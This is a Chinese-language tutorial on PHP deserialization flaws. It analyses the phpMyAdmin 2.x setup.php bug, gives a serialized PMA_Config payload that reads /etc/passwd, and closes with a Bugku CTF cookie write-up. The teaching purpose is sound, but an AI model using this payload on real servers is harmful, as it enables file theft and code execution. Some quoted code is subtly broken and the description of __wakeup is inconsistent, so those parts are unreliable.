PHP反序列化漏洞


本章概述:这是一篇关于PHP反序列化漏洞的文章


1、PHP序列化和反序列化

在学习PHP反序列化漏洞之前,我们有必要先来了解一下这两个函数,serialize()unserialize(),熟悉PHP的大佬都知道,这两个是序列化和反序列化函数,那什么是序列化和反序列化。根据官方手册,所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。那么简单来说,序列化就是把一个对象变成可以传输的字符串,反序列化就是把序列化后的字符串还原成对象。

序列化示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class S{
public $test="github";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
echo serialize($s)
?>
/**
上述代码会返回 O:1:"S":1:{s:4:"test";s:6:"github";}字符串。
o:代表一个object
第一个1:代表对象名字长度为一个字符
S:对象的名称
第二个1:代表对象里面有一个变量
s:数据类型
4:变量名称长度
test:变量名称
s:数据类型
6:变量值的长度
github:变量值
**/

2、反序列化漏洞

需要注意的是,序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。我们来了解一下几个常见的魔法函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup()在被反序列化之前先调用该函数

漏洞示例:
<?php
class S{
var $test = "github";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize('O:1:"S":1:{s:4:"test";s:29:"<script>alert("xss")</script>";}');
?>
//上面的代码反序列化函数里面的东西是用户自己输入的,当用户输入该payload时,函数执行完就会弹出一个框,而之所以会这样,就是因为没有对用户输入的内容进行控制。

根据上面所说的内容,我们可以总结出该漏洞利用的条件:unserialize函数的参数用户可控,所写的内容需要有对象中的成员变量的值,脚本中存在魔法函数。

3、漏洞解析

漏洞样例:phpMyAdmin 2.x中存在的反序列化漏洞,漏洞位置在/scripts/setup.php文件中。

下面我们看一下源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
define( 'PMA_MINIMUM_COMMON', TRUE );
chdir('..');
require_once('./libraries/common.lib.php'); //引入该php文件

// Grab configuration defaults
$PMA_Config = new PMA_Config(); //创建了PMA_Config对象,PMA_Config就是对象名

// Script information
$script_info = 'phpMyAdmin ' . $PMA_Config->get('PMA_VERSION') . ' setup script by Michal ?iha? <michal@cihar.com>';
$script_version = '$Id$';

// Grab action
if (isset($_POST['action'])) {
$action = $_POST['action'];
} else {
$action = '';
}

if (isset($_POST['configuration']) && $action != 'clear' ) {
//如果configuration存在并且action不为clear,则对configuration进行反序列化操作
// Grab previous configuration, if it should not be cleared
$configuration = unserialize($_POST['configuration']); //反序列化
} else {
// Start with empty configuration
$configuration = array();
}

// We rely on Servers array to exist, so create it here
if (!isset($configuration['Servers']) || !is_array($configuration['Servers'])) {
$configuration['Servers'] = array();
}
//代码上面重要部分有注释

上面的这段代码简单来说,就是通过输入一个序列化字符,会反序列化成一个对象,但是并没有看到魔法函数。

因此我们接着看引入的文件./libraries/common.lib.php

1
2
3
4
require_once './libraries/sanitizing.lib.php';
require_once './libraries/Theme.class.php';
require_once './libraries/Theme_Manager.class.php';
require_once './libraries/Config.class.php'; //引入了Config.class.php

这个文件又引入了其他文件,我们主要看Config.class.php,这个才是重点文件。

./libraries/Config.class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
function __wakeup()   //魔法函数__wakeup,该魔法函数在对象被序列化之后立即被触发调用:
{
if ( $this->source_mtime !== filemtime($this->getSource())
|| $this->error_config_file || $this->error_config_default_file ) {
$this->settings = array();
$this->load($this->getSource()); //满足条件会调用load函数
$this->checkSystem();
}
// check for https needs to be done everytime,
// as https and http uses same session so this info can not be stored
// in session
$this->checkIsHttps();
$this->checkCollationConnection();
}

function load($source = null)
{
$this->loadDefaults();
if ( null !== $source ) {
$this->setSource($source);
}
if ( ! $this->checkConfigSource() ) {
return false;
}
$cfg = array();
/**
* Parses the configuration file
*/
$old_error_reporting = error_reporting(0);
if ( function_exists('file_get_contents') ) {
$eval_result =file_get_contents
eval( '?>' . file_get_contents($this->getSource()) ); //重点在这几行代码,当检测到file_get_contents函数存在时,输出字符串,不存在是输出文件内容
} else {
$eval_result =
eval( '?>' . implode('\n', file($this->getSource())) );
}
error_reporting($old_error_reporting);

if ( $eval_result === false ) {
$this->error_config_file = true;
} else {
$this->error_config_file = false;
$this->source_mtime = filemtime($this->getSource());
}
/**
* @TODO check validity of $_COOKIE['pma_collation_connection']
*/
if ( ! empty( $_COOKIE['pma_collation_connection'] ) ) {
$this->set('collation_connection',
strip_tags($_COOKIE['pma_collation_connection']) );
} else {
$this->set('collation_connection',
$this->get('DefaultConnectionCollation') );
}

$this->checkCollationConnection();
//$this->checkPmaAbsoluteUri();
$this->settings = PMA_array_merge_recursive($this->settings, $cfg);
return true;
}

在这个文件里面,我们找到魔法函数__wakeup(),并且通过代码解析我们可以发现,满足魔法函数的条件时会调用load函数,我们进一步继续跟踪load函数会发现传入了一个source变量,并且在load函数中有几行重要的代码,也是漏洞的关键位置。我将这几行代码单独放在下面来看一看。

1
2
3
4
5
6
7
if ( function_exists('file_get_contents') ) {
$eval_result =file_get_contents
eval( '?>' . file_get_contents($this->getSource()) ); //重点在这几行代码,当检测到file_get_contents函数存在时,输出字符串,不存在是输出文件内容
} else {
$eval_result =
eval( '?>' . implode('\n', file($this->getSource())) );
}

当检测到file_get_contents被定义,则通过eval函数执行读入的字符串;如果没有file_get_contents函数,则通过file读入文件,同时利用implode函数把文件内容利用\n拼接,再执行eval函数。

那么整个代码的分析过程就已经完成了,通过上面的解析,我们可以发现,当我们输入一个序列化字符串,在被反序列化成一个对象之前,会先触发__wakeup()函数,并且满足该魔法函数内的要求时,则可以进行任意读取文件或其他操作。

接下来我们所需要的就是构造我们需要的payload。

在setup.php文件中,我们需要两个传参字段,actionconfiguration,同时创建了对象PMA_Config

并且在load函数中传入source参数。

1
2
3
4
5
6
7
<?php
class PMA_Config{
public $source="/etc/passwd";
}
$PMA_Config=new PMA_Config();
echo serialize($PMA_Config);
?>

我们得到的序列化的字符串为:O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}

可以看到上面的payload把etc下的passwd文件给读取出来了。

4、CTF样题

这里顺便附上一道Bugku的CTF样题。

题目地址:flag.php,提示为:hint

这是一个点击登录完全没效果的页面,按照提示,我给了个hint=111的参数,页面显示源码。源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?>

我把源码给简单过滤了一下不需要看的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer']; //取出cookie
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY") //重点来了,对cookie进行反序列化操作,若等于$KEY则输出flag
{
echo "$flag";
}
else {
?>

$KEY='ISecer:www.isecer.com';

源码还是很容易就看得懂的,首先取出名为ISecer的cookie,然后对该cookie进行反序列化操作,等于给定的值时则输出flag。

不过还是被这个题目给小小的坑了一下,其实也不算坑吧,是我自己PHP没有学好哈哈,我一开始用下面给定的$KEY='ISecer:www.isecer.com';进行序列化后传给ISecer,但是一直不行,后来才发现在php源码中并没有定义这个KEY的值,因此这个值应该为空,即“”。

1
2
3
<?php
echo serialize("");
?>

得到的结果为s:0:"";

成功取出flag,这道题本身也很容易,算是对反序列化漏洞的运用吧。